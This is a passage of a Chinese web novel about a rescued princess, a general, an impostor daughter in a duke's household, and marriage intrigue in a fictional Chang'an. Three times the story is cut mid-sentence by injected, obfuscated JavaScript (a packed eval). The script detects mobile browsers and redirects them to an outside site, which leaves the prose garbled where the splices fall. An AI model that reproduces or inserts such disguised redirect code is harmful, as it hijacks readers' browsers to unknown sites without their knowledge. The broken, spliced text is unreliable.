李三从后拧了王五一把,他哪有脑子记那些弯弯绕绕,听着像天书似的,王五忍着疼说:“记得记得,一不许威逼正经姑娘,二不能有任何隐瞒,三...这三...您瞅我这脑子,我记不清三了。” 李曦叹了口气:“罢了罢了。” —— 这方,谢珩派去各个城门探查的金吾卫回禀:“将军,从昨夜至今未发现有可疑车马出城。” 谢珩桌案上铺着长安城的舆图,他的视线从四个宫门一路滑到高府门前,较近的两条路上的金吾卫已赶回左衙回禀过,并无发现,只有最后两条路,一条经过碧水湖,一条穿过万寿坊。 未久,其他两队金吾卫回禀,仍没有任何收获。 他的视线最后锁定了城中一处,记起沈昭的担忧,并非没有道理,他随即带着一队人马出发。 李曦正在院中躺椅上,晒着太阳歇晌,李三殷勤地搬了个木凳,坐在他旁边扇风,只要能讨得李爷欢心,还愁他在长安城立不住脚么! 半敞的大门被金吾卫推开,唰——一声,寒光乍现,金吾卫分列两队,提刀速速包围了整个院落。 “哎,你们什么...”瞧着铁甲官靴,李三的气焰顿时全消,他可不敢同官家作对,想起那个投湖的丫头,他后背霎时出了一层薄汗,退了一步,低头站在李曦身后,心里纳罕,不会这么快就查到他头上了吧。 李曦认出谢珩,躬身一礼:“谢大人大驾光临,有失远迎。” 谢珩:“不知近来生意可好?” “哟,谢大人,咱小本生意,哪有什么好不好一说,不知您带着这么多弟兄来此,有何贵干?” 谢珩开门见山:“我这儿走失了一个姑娘,圆脸凤眼,走失时穿着一件粉色的衣裙,头上梳着双髻,”他径自将佩剑置于桌上,惊得李三的腿霎时软了,“李曦,你一向以诚信为本,可是若是拐骗清白人家的姑娘,依律当处以绞刑。” 自宫门到高府,其中必经过李曦这个院子,虽然他上任后曾专门清洗过黑市非法人口交易,但沈昭的担忧却给了他提醒,灯下黑的道理他知道。 李曦脑子闪过刚才伏在李三肩上的姑娘,笑容僵在脸上,他瞥向李三,从牙缝里咬出几个字:“你们带回来的姑娘在哪,还不快请出来。” 李三似乎没料到李曦竟这么快便将他卖了,还想周旋一番,呆愣在原地:“李爷...您说什么姑娘。” 李曦暗道这蠢货,哪怕他想保下他,他竟自绝生路。 金吾卫将刀架在他脖子上,李三双腿一软,跪在原地:“官爷,有话好说,我这就将那位姑娘请来。” “等等,我随你去。”金吾卫虽是他底下的人,但难免人多眼杂,若传出风声只怕有辱皇室清誉,谢珩拿起桌上佩剑,随李三进了内院。 李三眼神四下乱瞟,后门竟也被官兵围住,哪怕这姑娘并非他们所寻之人,他亦插翅难飞,他跪在门前,不住地磕头:“爷,是我一时动了歹念,但这姑娘分毫未伤,还请您看在李爷的面上,饶我一命吧。” 谢珩理也未理,抬脚将门踹开,一眼看到被扔在角落仍昏迷不醒的李玥,他命人取来幂篱又遣人去将沈昭带来。 沈昭来时,李三和王五跪在地上,将路遇李玥的事全盘托出,王五不知他们是为寻这姑娘而来,还以为是先前投湖的女子被人发现了,倒豆子似地将所有事全说了。 李曦在旁越听脸色愈发苍白,自己汲汲营营的一切算是搭在这俩蠢货身上了,气得连话都说不出。 谢珩将三人收押,送往县衙,同时去碧水湖寻落水女子的踪迹,李三奸|□□子在先,拐骗女子在后,死罪难逃,王五有从犯之嫌,李曦虽不知情但治下不严,收回朝廷下发的牙帖,最后案子如何决断自有县令审理。 等沈昭来的功夫,李玥已悠悠转醒,她掀起幂篱,皱眉看着四周,认出站在门外的谢珩,刚要起身头却重如冷铁,又堪堪跌下去。 谢珩听到屋内的动静,疾步上前,却并未扶她,蹲下身子低声道:“公主,你可有哪里不舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753604|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服?怀瑾正在来的路上。” 李玥摇摇头,仔细回想她出宫这一路的曲折,记起她父皇母妃的话,一股酸涩涌上心头,哽咽道:“是我任性,害你们担心了,我无妨,我只是想出宫随便走走罢了。” 知女儿家的心思不便对旁人言说,他亦不多问,默然守在一旁。 沈昭坐着国公府的马车匆匆赶来,李玥见到她,扑在她怀中,心里顿时更委屈了。 两人坐着马车一路向宫门驶去,谢珩驾马在旁随行。 先前沈昭将公主走失一事告诉李立雯,本欲请她入宫告知圣上,但李立雯犹豫再三终是没有入宫,只书信一封托杨方拿着她的玉牌传信。 好在李玥被及时寻回,信还未传到内廷,送到天子手中,李玥遣采薇及时将信拦下,希望能掩一时是一时。 她将父皇母妃的安排细细说给沈昭听,沈昭在一旁静心聆听,但仍不免感慨,在这里,哪怕像李玥如此身份的人都没有选择自己意中人的自由,也罢,他们的身份一向是权利、是交易,成婚一事于她们而言自当慎之又慎。 李玥哭了一路,折腾了一天,回宫之后便累得睡着了,沈昭并未在宫里久留,同谢珩坐着马车出了宫。 回府的路上,她细想着李玥的哭诉,无论在长安亦或者九州,成婚之事都是一人生命中最重要的转折,哪怕位高至一国公主,也半点不由人,那谢珩呢? 在长安,三妻四妾仍是常态,谢珩哪怕有心念着她,但以他的性子,知书识礼,尊卑有序,他又岂会因此去顶撞他的母亲和祖母。 她不由得攥紧他的衣袖,倚在他的肩头,连往后二字都不敢细想,只怕这片刻温存,到底是镜花水月一场。 谢珩觉察到她的不安,以为她忧心公主,反握住她的手,轻抚着她的额头:“长安现无战事,虽有北方的孑于族蠢蠢欲动,但不至于走到让公主联姻这步,公众备受宠爱,圣上不会不考虑她的意思,她和高峻的事,并不急于一时,仍有回旋的余地, 至于我,我本就不图在仕途上有所成,只愿长安无战事,百姓安居所,若你不喜这里,我可陪你回九州。” 沈昭哑然失笑,眸中泛起湿意,九州...她都不知自己如何穿越至此,何况她的故乡早已面目全非,她们注定只能留在此处了。 但听闻他的话,她只觉心口似煨了一炉炭,融融暖意顺着血脉游走。 他轻轻在她额上留下一吻,又贪恋这份柔软,吻过她的鼻尖、脸颊,落在她的唇上,细细吮咬,欲加深这个吻。 她慌忙从他怀中挣出,将他推开:“快到家了。”唇上犹带温软触感,却听得他低笑一声,复又追上衔住她的唇瓣,清浅兰息交缠间,他恋恋碾过她唇角,直到她急得攥拳捶他肩头,方才松开,却仍以指腹摩挲她绯红面颊,不舍分开。 马车缓缓停下,沈昭推开他,缓步踩着马凳下车,脸上的红却消散不去。 谢珩待她的脚步声消失于耳畔时,才撩袍起身,唇边的弧度弯过天上皎洁的月。 “夫人。”路过的婢女福身一礼,李立雯闪了闪身,错过谢珩的视线,心中不快道:“噤声。” 但看着两人的背影,她的眉头却越皱越紧。 39. 第 39 章 “夫人,这是上次宴席上宾客礼单,以及回之的答谢礼,还请您过目。”王管家呈上两份礼单,却迟迟不见李立雯抬头。 他等了半晌,试探道:“夫人?” 李立雯眨了眨眼,恢复神色,揉着眉心接过礼单,但上面的字却看不进她心里:“你做事妥帖,就依这份礼单送吧。” “是,夫人。”王管家应下,但李立雯却始终手握着礼单,没有交与他,他在一旁候着,待她回神后,才双手接下,心中百思不得其解,老夫人身体康健,小姐归府,桩桩件件都是喜事。 但夫人近几日心神不宁,何事令她忧愁至此。 刚踏出门槛,李立雯喊住他:“上次我记得高家公子送了份簪子,你在给他的回礼上多备下几身素雅的锦缎,再去书市看看,附上几本关于农学的书,”她斟酌之后,吩咐道,“去把小姐请来。” “是。”王管家退下,着人去请小姐。 沈昭得信后,并未多想,随着前来通传的婢女往前厅去。 待她入内后,李立雯邀她入座,拿出之前曾给她看过的画册:“瑾儿,这些时日你对你兄长的性情也大概有所了解,你觉得以他的性子,同长安城里哪户小姐更适合呢?” 初时,李立雯只念着姑娘家之间好说话易亲近,想她多结交些朋友,有脾性相投者,可说与他兄长,但这次李立雯却意味试探,若是他们二人彼此有意,她断然不会同意。 但沈昭本就以骗术蒙混入府,又岂会轻易被她看出她心中波澜。 她径自接过画册,美之主观,哪能论出个长短高下之分,各花入各眼,每个女子都各有其艳。 但她仍细细打量,笑着说道:“这李家小姐性格温婉,容貌比三月桃夭还娇,和兄长是绝配;蔺家小姐清尘脱俗,如空谷幽兰,我瞧着也极好;王家小姐自不必说,琴棋书画样样精通,只怕兄长还配不上人家呢,要我说若是这些小姐有意,不妨都娶进门吧,这么多嫂嫂家里也热闹。” 她一口气将长安城年岁相当的女子夸了个遍,恨不得全将她们娶进国公府,气得李立雯一时无言,这些女子哪个不是家中明珠,若是真依她所言,正妻只有一位,又谁会忍心将自己的宝贝给谢珩当个妾室呢,哪怕抬为平妻也会闹得各不愉快。 李立雯直接从她手中抢过画册,再无心问她意见,太阳穴突突地跳:“罢了,那你看高家二郎如何,他有意于你,高相对你亦颇为满意,这门亲事甚好。” 提起高义信,沈昭犹记得那夜漫天烟花绽放,他小心翼翼地拿出家传玉佩,朝她深深一揖,同她诉说情意:“谢姑娘,自初见你那日,我便一见倾慕,若姑娘不弃,我愿与姑娘缔结秦晋之好,择日登门下聘。”他声音渐轻,甚至不敢抬头望她。 少年一腔热忱心意,但她终究得负了,她回之一礼:“高公子厚爱,我愧不敢当,我将你同你兄长二人视作知己,我刚回府,还得侍奉祖母,公子姿貌俊朗,家世煊赫又满腹经纶,自有更适合你的女子。” 高义信并未料到她会拒绝,忍不住问道:“姑娘若对我无意,那帕子...” 沈昭此刻恍然,不过从集市买橘相赠的帕子,她当时只为图个方便,送他擦手,岂料引起这么大的误会:“我自幼生于山野,同男子接触亦不多,并不知赠帕有何深意,引得公子误会,是我的不对,同样的帕子我还送过我兄长一方。” 高义信身形微晃,却仍强撑着笑意,不失礼节:“是我唐突了...” 他的修养犹在,他们今后仍可继续做朋友,他将沈昭所托茶树一事牢牢记挂在心中,转身回了府。 沈昭思绪回拢,无奈这催婚又催到她头上了,直言道:“高家公子自然好,他兄长亦好,我瞧着长安城其他士族公子亦是器宇不凡,不若母亲也给我份画册,我好生相看相看。” “你、你这孩子,”她被气得心口滞闷,捂着胸口依着木椅,全然忘了当初寻她作何,且不论高家二郎对她有意,她一个未出阁的女儿家竟说出如此不成体统的话,她怒道,“你给我退下。” 沈昭怕笑出声,急忙躬身一礼:“那怀瑾告退,母亲注意身子。” 刚转过廊角,她转瞬便压不住唇边的笑意,踏着轻快地步子走远了。 她哪有那么多心思去深究李立雯话里的机锋,何况她身体康健,该不会被她三言两语,轻易气倒。 她现在的心思全在李玥身上,自李玥走失到她回宫,不过两日,谢珩寻人时,保护妥当,并无人知晓她是公主,由李立雯递进宫的信虽然未送到景明帝眼前,可宫内仍传出一些风言风语,消息渐渐散播到市井坊间。 李玥本就面子薄,若不是求着她,哪怕同高峻同行的勇气都没有,因着自己一次任性竟闹到这个地步。 内廷的情形如何自是传不到外臣那儿,但据谢珩观察,今日景明帝上朝时,面如寒霜,因着一个官员的朝服不洁都勃然大怒。 沈昭心里记挂她,她虽无职务和诰命在身,不得轻易入宫,但有谢珩陪同入宫,加之上次采薇留给她的手牌,她踏上了进宫的官道。 两人一路行至宣政门,外臣止步于此,谢珩将沈昭送到这:“你一直向北走,路遇花园时转东,经过三个宫殿后,下一个便是公主寝殿兰香殿所在,我在此等你。” 沈昭握紧玉牌:“好,我去去就来。” 她扮作宫女打扮,依着谢珩所指,往兰香殿走去,遇到成行结队的宫婢们就跟在其后,随着她们叩拜、让行,不多时终于见到兰香殿的匾额。 大殿之外,三三两两的太监宫婢们各自洒扫,并未留意她。 她垂首直直向寝殿大门走去,正巧碰到刚从内走出的采薇。 采薇先是一惊,忙把她拉至屋内,打眼瞧着并无旁人注意,将门带上:“谢小姐,您是入宫来看我家公主的么?” “玥儿她如何了?”沈昭随她闪身入内,将玉牌交还于她。 采薇摇摇头:“陛下今晨下朝后特地来了一趟,发了好大的火,连娘娘都劝不住,公主说她不想见任何人,说...若是圣上逼她去尚主宴选驸马,她就一头跳进湖里,绝了他们的念头。” 公主六岁时,采薇便入宫陪伴在侧,公主一向乖巧顺意,莫说顶撞圣上,就连一句重话都没说过,她心中既佩服公主的勇敢,但又替她担忧。 言语间,采薇撩起五色锦帐,请她入内,自己却止步:“谢小姐,劳烦您好好劝劝公主。” 沈昭点头应下。 屋内传来李玥轻声呜咽,她趴在床上,身子哭得一颤一颤,听到她的脚步声,哑着嗓子喊:“都出去,我谁也不见。” 沈昭从桌上倒了一杯水,缓步走向她:“哭得累了,不妨喝口水润润喉,才有力气再哭呀。” 听到她的声音,采薇霎时抬起身子,眼睛肿若核桃,努着小嘴:“瑾姐姐。” 沈昭坐在床榻边上,轻轻缕着她的后脊,帮她顺气,将杯盏送到她唇边:“先喝点水吧。” 她将唇凑到杯沿,浅浅抿了几口,眼泪吧嗒吧嗒砸到杯里:“瑾姐姐,我不想嫁给高峻了!” 沈昭将茶杯放到一旁案几上,又拿出帕子轻擦她脸上的泪:“为何又突然改变心意了?” “我偷溜出宫的事被父皇母妃知道,他们训斥我罔顾体统、不注重名节,如今我清誉有损,自是不能连累他。” 沈昭心疼地将她抱入怀中,这傻姑娘,明明自己置身于水火之中,竟心心念念还在想着怕连累他人,想成全高峻的颜面。 她柔声安抚道:“你只是迷路罢了,身上甚至连外伤都不曾有,岂会牵扯到名节一说。” 她忽地意识到在此处,名节清誉对于女儿家之重要非她所能想,公主秘密出宫两日未归,旁人不管其中发生何事,只会挑着最引人遐想,最不堪的那面去想。 相较于旁人的目光,李玥倒更在乎高峻如何看她,可她拿不准高峻会如何,强忍着满腹委屈,默不作声。 沈昭问她:“那若你有的选,你还愿意嫁给高峻吗?” 她点点头:“自是愿意,但...但我怕他听信了这些传言,我不知他会如何看我,我更不想给高府蒙羞。” 公主金枝玉叶,若是圣上下旨赐婚,高家断没有拒绝的道理,亦不敢拒绝,可事到如今,李玥不想勉强他。 沈昭拍拍她的肩:“给高府蒙羞的不是你,是那些擅自揣测之人,此事哪怕不发生在你身上,他们口中也会传出其他污言秽语,若你对他还有意,我让我谢珩去探探他的态度,如何?” 李玥乖巧地点点头,情绪好了许多。 沈昭又多陪着她说了会,看她服下一碗燕窝粥后才放心离开。 其实她心中没底,高峻对李玥的态度本就暧昧不明,大体只把她当自家妹妹,虽然旁人看在眼中,但只怕当局者迷。 眼下又发生了这样的事,虽错不在李玥,但终究言语威逼却比真正的刀要锋利,杀人不见血。 她心事重重地从内廷走出,谢珩远远望着她的身影,视线从未离开,待她走近时,他上前将她扶住:“如何?公主没事吧。” 沈昭适才回神:“公主吃了些东西,有所好转,只是她怕连累高家声誉,不想嫁给高峻了,但又不想屈就于旁人,其实她心里有高峻,但拿不准他的态度,经此一事,你觉得高峻会如何看她?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高峻同谢珩在酒楼约见,楼下的污言秽语不堪入耳,几个醉汉围坐在一桌,嘴里不干不净地议论着宫中的事。 话音未落,高峻手里的青瓷酒壶被他凌空砸下,直直冲着楼下醉汉头上而去。 “砰”地一声正中那人脑门,酒液顺着鲜血顺着他的脸淌下来,惊起四座尖叫。 “哪个不长眼的王八羔子,没看见你爷爷在这呢。”醉汉捂着额头抬头大骂。 高峻站在二楼栏杆旁,指节捏得咔咔作响,眼底寒芒如刀,他缓缓开口却字字淬冰:“看清楚,是你爷爷我!” 那醉汉捂着额头,酒登时醒了大半,仍嘴硬道:“哪来的狗东——” 话未说完,高峻纵身从二楼跃下,一脚踹翻酒桌,碗碟稀里哗啦碎了一地,他揪着那人的衣领,一拳砸在他脸上,骨节撞击皮肉的闷响听得人牙酸。 “把你嘴巴放干净点!” 又是一拳,那人脸上血肉模糊,哀嚎着求饶,同他喝酒的人刚上前去拦,却被高峻的一个眼神钉在原地——眼神狠戾如狼,仿佛下一瞬就要拧断他们脖子。 “滚。” 几个人连滚带爬跑了,只剩地上那个烂醉如泥,血染了一地。高峻甩了甩手上的血渍,转身欲走,却对上谢珩清亮的眸子。 他站在酒楼门口,不知看了多久。 高峻心头一跳,方才的暴戾瞬间凝固,竟有些无措,随手冲着店小二扔下一锭银子。 “高兄,我们的饭还没吃呢!”谢珩在他身后喊住他。 “知道,我去寻个水盆净手,脏。”高峻提步往后院走去,店小二吓得大气不敢喘,忙退至一旁为他让出路。 待他洗净回来后,大步跨坐在一旁,举起小二新奉上的酒壶,仰头往口中浇:“尚书省那帮老头,整日闲的之乎者也,拿君俸禄,不替君分忧,要我说,就得重修律法了,如此登徒浪子,毁人清誉,难道就置之不理,由着他们胡言,那三人成虎...” 对上谢珩带有深意的眼神,他的话僵在嘴边:“你盯着我作甚,本公子虽俊俏倒,你倒不必如此。” 自小到大,他还从未见过高峻如此生气,往日他总是愿做和事佬,有他在的地方,少有争执和冲突,哪怕有不和,亦总会被他几句话化解,他为人又没什么架子,因着人人都爱同他结交。 但那几个醉汉确实该打。 谢珩将他手中举着的酒壶放到一旁,开门见山问他:"你既知晓公主被人污蔑,此时处境艰难,若是圣上下旨赐婚,你可会答应?" 高峻猛地站起,想都未想开口说道:“不行。” 40. 第 40 章 谢珩挑眉看他,刚刚还正义凛然怒打醉汉,此刻他又拒得如此决绝,倒教人猜不透他的心思了。 似是被高峻厉声吓到,隔壁雅间中传来的声音骤然静默几息。 高峻缓缓坐下,又斟了一杯酒,一饮而尽:“我自是知道公主无碍,但你看眼下长安城中传得风言风语,但只有你我知道无用啊,若是真将她娶进门,我父亲也不会同意的。” 高相辅佐两位帝王,朝堂之争,他自是看得透彻,更不会任意而为,不顾君臣之礼。 谢珩说:“若是圣上下旨,高相定然不会拒绝。” 高峻见毫无退路,出声喊道:“谢珩!你还是不是我朋友,怎的替旁人说话,虽然公主同你于血缘姻亲上近一些,但到底我们才是一同长大的兄弟,你说,她给了你多少好处,你不能眼见兄弟往火坑里跳。” 眼下他又恢复到往日肆意妄为的态度,同刚刚那个大打出手的血性男子判若两人。 谢珩虽瞧不分明他究竟作何感想,但沈昭置气时说的话却让他不由得细思:“高兄,易地而处,若是今日换作你是公主,满城风雨,纷纷扬扬,你觉得她会因此放弃你么,哪怕她不知其中曲折?” 高峻被他突如其来的话哽住,扭头不语。 谢珩不得不逼他一下,让他认清自己的心,他继续说:“何况以你的品性,在长安城士族之中,早就没什么清誉可言。” “你...”高峻气得蹭一下跳起来,“九如,哪怕旁人不知,你总该知道我为人如何,我岂能同市井之中那些市井无赖、浮浪子弟相较。” 谢珩忽而笑了:“对啊,我知,但旁人未必知,公主更是不知,但她仍对你一见倾心,并未计较世俗坊间对你的看法。” 世人皆知高家大公子为人敞亮,可时时流连烟花之地的也是他,哪怕他去了之后仅仅是喝酒,可旁人怎会知晓。 大家只津津乐道:曾有几户对高峻有意的世家贵女,自听到这一传闻后便对其退避三舍了。 高峻被他堵的哑口无言。 谢珩说道:“何况,女子之贵,贵在德才,若仅以贞洁清白作为评判一个女子的标准,与市井之徒又有何异?《列女传》尚且记载齐姜促晋文之大业,我等还反不如太史公通达么。” 这一番话从谢珩口中说出,惊得高峻不由得瞪圆了眼:“那此话可是你说,若你以后的妻子亦是如此,我倒要看你到时如何自处。” 谢珩脑中霎时浮现沈昭那气鼓鼓的模样,心头像沁了蜜一般甜:“我自是不会让她受到任何伤害,若真有那日,我定同她共担风雨。” 他一向寡言少语,如今竟不吝啬对那女子的喜爱和维护。 高峻不住摇头啧啧称奇:“我如今倒是十分好奇,那个小字为昭的女子到底是何模样,能令你爱慕至此。” 谢珩笑着不语,其实他早就见过了。 高峻虽性子顽劣,到底不是不通情理之人,在心中更暗自将谢珩当做他的知己。 他虽然嘴上不饶人,到底在心里反复掂量、细细琢磨过他所言,正色道:“九如,委实是我浅薄,我往日不务功课,最讨厌书中那些大道理,确实不如你明理豁达,竟在虚名上纠结。”说罢他又饮一杯。 他们自小相伴长大,高峻性子直,口无遮拦,若是同他深聊几句,便知其心思亦最好猜,端看他的态度和行事,谢珩心中有了几分把握,知他并非对公主完全无情,只是还需有人逼他一逼,让他认清自己的心。 如此,他今日的任务算是了了,回去也好对沈昭有个交代。 他刚准备离开,高峻却反拉着他的手,神秘兮兮道:“九如,读书识礼我自不如你,但男女之事你可得好好向我讨教讨教。” 见他煞有其事,一副等着瞧好戏的模样,谢珩皱皱眉:“高兄,切莫胡言。” 高峻不消半刻便原形毕露,又恢复之前那副调笑模样,还欲指导谢珩一番,将谢珩堵在门口:“我可听闻你曾发怒将房内的通房丫鬟都遣出去了,这男女相处可不单是你情我愿一事,王家、李家那俩公子十六岁娶妻,至今无所出,其中的周折你可知?” 谢珩脸登时涨红了,拒绝道:“我不欲窥探别人私隐,对他们的事毫无兴致!” 高峻玩味地笑笑,瞧他这幅样子,难不成还让人家姑娘主动:“无关他人,只为你俩的事,你也不愿意听?若想长久不仅在于平日相处,更莫忽视了床笫一事, 我把你当亲兄弟才劝慰你一二,这可是我多年流连风月场所的经验,花了多少银子学的,机不可失时不再来啊,九如。” 他扯着他的衣袍将他拉到一旁坐下,俯在他耳畔细细低语,将自己所见所闻倾囊相授,谢珩的脸红得几欲滴血,其间向掌柜的付了银子,将前后隔间的雅座都包下,两人在酒楼一呆便是半日之久。 —— 夏目抚着日益变大的肚子,店小二在门外笃笃的敲门声令她心慌。 惊云以婚事为由请假,但他仍需遮掩不能一直陪在她身旁,先一步回了长安,自他回去任职已过了月余,因着调理身体和付客栈房钱,开销颇多,他留下的银子所剩无几。 他们结亲本就匆忙,他给的礼单颇为丰厚,但到底并没有实打实地交与她手中,不过是红纸上一行行孤绝的字罢了,她连自己身上傍身的钱都花完了。 她曾提出同他一起回长安,但他总是遮掩推拒,饶是她再不愿相信,揣着明白装糊涂,亦不得不承认他确有事瞒他。 “姑娘,您还住不住了?”店小二的声音适时在门外响起。 夏目紧咬着下唇,从柜子里翻出她身上最后一支金簪,这枚簪子是成亲那日惊云所赠,哪怕她再珍重他的情谊,亦不比眼下她和孩子吃饱喝足来得重要。 肚子渐渐拢起,她行动受限,腿更肿的厉害,大夫出诊的诊金又是一笔钱,她轻叹一声,借着桌沿缓缓撑起身子,扶着肚子轻推开门,将金簪递给店小二:“小哥,我独自一人行动不便,烦请你帮我把这簪子当了吧。” 店小二本依着掌柜的吩咐,更不欲同她一个怀有身孕的女子为难,接过金簪,扶她坐下:“夫人,你住在我们客栈亦不是个长久之计,你家男人呢,他怎的忍心将妻儿独自留在这儿。” 见她哑然,店小二不欲多问,将金簪妥当地收入怀中:“夫人,您放心,这当铺的老板与我们家掌柜的相熟,我求掌柜的给您通融通融,也好多换些银钱。” 夏目应声谢过。 店小二不再多言,轻手轻脚地退出房内为其关上门,下楼时仍瞥了一眼,无奈叹气。 自惊云回左衙后,其他兄弟听说他回乡结亲,笑着抱怨他不请他们喝杯喜酒,惊云面上笑着敷衍,心思全然不在此。 他有意无意地接触了几个常伴谢珩身侧的人,暗暗探听国公府的事,才知那个假冒的谢家小姐一时风光无量,同宫中的长乐公主李玥都有私交,就连高家都有意同其结亲。 他气得咬紧牙根,竟让她一个骗子明晃晃地招摇撞骗,若是高谢两家结亲,哪怕日后真正的谢家小姐夏目回府,他一个金吾卫又如何比得过那相国家的公子,哪怕为了顾全两家名声,亦不会让夏目回府。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781889|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只怕真到了那时,假的亦是真的,那他这番筹谋算是全白费了。 谢珩的人一直没有放弃追查他的行踪,出了长安之后,他像过街老鼠一般带着夏目逃窜躲避。 哪怕此刻他回到了长安,谢珩的人仍私下监视他的一举一动,他受够了! 他明明才是晋国公府的贵婿,夏目才是谢怀瑾,何况他们还有了孩子,谢家不会不认这个孩子,这是他和夏目唯一的筹码,他需赶在高谢两家结亲之前将真相揭露。 他思虑了几个夜晚,轮值休息时,便有意无意在高府附近徘徊,因着谢珩的人还对他紧盯不舍,他不便直接对那个女骗子有所行动,只得暗中观察高义信,今晨一早便见高义信特意换了衣衫,向谢府递了拜帖。 他不由得握紧拳头,不能再继续等了。 “夫人,厨房熬了些秋梨膏,您要不要尝尝。”婢女手里举着托盘,柔声询问。 李立雯这几日本就让珩儿和瑾儿的事搅得心神不宁,长乐离宫又闹出这么大乱子,她好几夜都得好眠,眉间的纹路都清晰许多,她庆幸老夫人身子好后便去山中修行了,否则这些事齐齐涌上心头,只怕又得将她老人家气出毛病。 她摆摆手,毫无食欲:“拿下去吧,近几日让厨房少些荤腥,我闻着难受,都先退下吧。” “是。”婢女们齐声应下,缓步退出。 待门扉合拢后,一抹深色衣角略过窗沿,她径自往内间走去,欲去床榻上歇晌,刚掀开锦被,一抹凉意从屋外侵袭,她忽觉喉间一紧,眼前霎时出现一个人影,有力的大手贴在她的脖颈处,稍一用力便可让她气绝。 “夫人莫嚷。”眼前的人嗓音低沉,刻意压低声音,“惊了旁人,反倒不美。” 她指尖微颤,下垂眼睫盯着他的手,强装镇定:“阁下何人敢擅闯国公府,所欲为何?” 惊云不欲同她废话。 他绕了半天又搭上了银子,寻了几个地皮无赖才暂时阻住谢珩的人,若呆的久了反倒生疑,他直言:“如今在国公府的谢怀瑾并非是你亲生女儿,真正的谢怀瑾另有其人,若夫人不信,大可试上一试。” 留下一句话他闪身翻窗离开。 脖颈上的桎梏松开,李立雯泄气般的倒在床边,身上紧贴于肤的诃子都已然被汗浸湿,她不禁暗中揣测方才那人所言。 她这几日提心吊胆的事,终是有了另一个答案。 她思虑着那人话中的真伪,但见他并不欲下杀手,只作警示,又匆匆离开,若非熟知内情,又岂会特意偷潜入府告诉她个中原委。 心里暗暗松了一口气,若眼前的瑾儿是假的,那一切便说得通了。 珩儿断不会做违背人伦的事,既如此,那从最开始入府便是他们故意为之,也怪她自己太过大意,因着由珩儿带回便被他蒙了双眼,她本就是个骗子,自然可轻易躲过她的试探,何况其中还有珩儿相助呢。 但她又陷入了另一个僵局,国公府认回她已是板上钉钉的事,宴席办了,全长安城的人都知晓了,她又该如何寻一个合适的时机将此大白于天下呢。 真正的瑾儿又在何处。 但若任由他们胡闹下去,万一被有心之人发现,他们俩毕竟明面上仍是谢家的公子小姐,兄妹乱|伦,如此若是传扬出去,只怕谢家清誉尽毁,老夫人都会被他们二人活活气死。 她的脸先是一寸一寸白下去,继而又从脖颈漫上朱砂般的赤色,指尖被她紧紧掐入掌心。 妆台上的铜镜映出她扭曲的面容,她不允许!绝不能让这孽缘再续,绝不能再发生当年之事! 41. 第 41 章 高峻那方忙着授人以渔,他弟弟同样没闲着。 自上次沈昭将茶树枝条送他研究,已过去数月,他翻遍了古籍又特意在长安城附近郊野寻了几户农家,向请教指点,终于有所得,他去晋国公府递上拜帖,欲将这一好消息告诉沈昭。 “快请进门。”沈昭欢喜地将拜帖放置一旁,简单梳妆后,径自去了前厅,本想出府相迎,高义信倒先一步到了。 自上次碧水湖畔一别,他醉心于研究茶树,除了去郊野田边同农夫请教一番,其他日子大多把自己关在后院,从不见客,一是因着他确实对此颇有兴致,二是他每每梦回,仍记得那夜火花之下她明眸善睐,却不容分说地拒了他。 他本以为经过这几月他忘得纯粹,再相见时只把她当做自家妹妹,可哪怕还未听到她的声音,仅因着要见她,心跳便错了几许,连呼吸都乱了方寸。 他隔着半丈远,躬身一礼:“谢姑娘。” 怕他再生误会,因着又托他帮忙研究茶树,沈昭本就心中满满歉意,见他亲自登门,她拿捏着分寸,恭恭敬敬对其回礼:“高公子。” 婢女们上了秋梨水,在旁随侍。 高义信稳下心神,适才开口:“谢姑娘,你之前所托的茶树枝,已扦插成活了七分,之前压条的几十株,眼下都生了龙须根。” 他声音不急不躁,像晒过的茶青般干燥温和,一如往昔。 “太好了,多谢高公子费心!”沈昭没料到真有所获,她本对此并不抱希望,见到高府的拜帖心中虽有一丝联想,但终究怕期望越大失望越大,听他如此说,竟有了几分把握。 但高义信遍揽群书,仍有忧虑,任何植物生长同气候、土壤、地形、水分皆密不可分,差之毫厘谬以千里,植物栽培虽不至于此,但仍不可忽视。 因长安城中无前人培植,便更增加了难度,其基质需保持湿润但又忌积水,长安城夏季多雨易积水,仅此一项,其实便不利于茶树生长,且茶树喜光但又忌强光直射,又需要充足的日照,这便更是为难。 虽是成活,但若想培育,只怕在长安城并不是最佳繁殖地,他毫不保留将此一一明说,让沈昭认真思量。 沈昭回忆着如今长安在舆图中的位置,她并不了解茶树的习性,但确实未在她生活的时代,听闻过此处有哪些名茶,倒是灵山寺再往西走,其中的玉靑绿茶远近闻名,据闻有百年的历史。 沈昭寻王管家去取舆图一览,她指着地图上玉青所在问道:“这是何处?” 高义信顺着她所指方向看去:“此处是同长安隔了两个州府的并州,我幼时同父兄去过,但并未久居,倒不知那边环境是否适合茶树生长。” 话题到这便止住了,他们都无法久居于并州,至于他手中那几株能否成活尚未可知。 